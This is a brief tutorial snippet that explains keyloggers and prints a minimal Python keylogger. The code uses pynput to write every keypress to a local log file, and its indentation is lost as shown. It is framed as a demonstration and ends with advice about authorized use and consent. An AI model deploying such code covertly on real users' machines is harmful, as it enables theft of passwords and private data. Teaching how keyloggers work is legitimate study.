A keylogger records keystrokes and stores them in a log file. This project is for demonstration purposes to show how malefactors use keyloggers to steal data.
Code Example:
import pynput.keyboard
def on_press(key):
try:
with open("log.txt", "a") as log:
log.write(f"{key.char}")
except AttributeError:
pass
listener = pynput.keyboard.Listener(on_press=on_press)
listener.start()
listener.join()
Use Case: Learn how keyloggers work, but of course use it responsibly and in controlled, authorized environments only.
Tip: Always get consent from users before running any keylogging software.
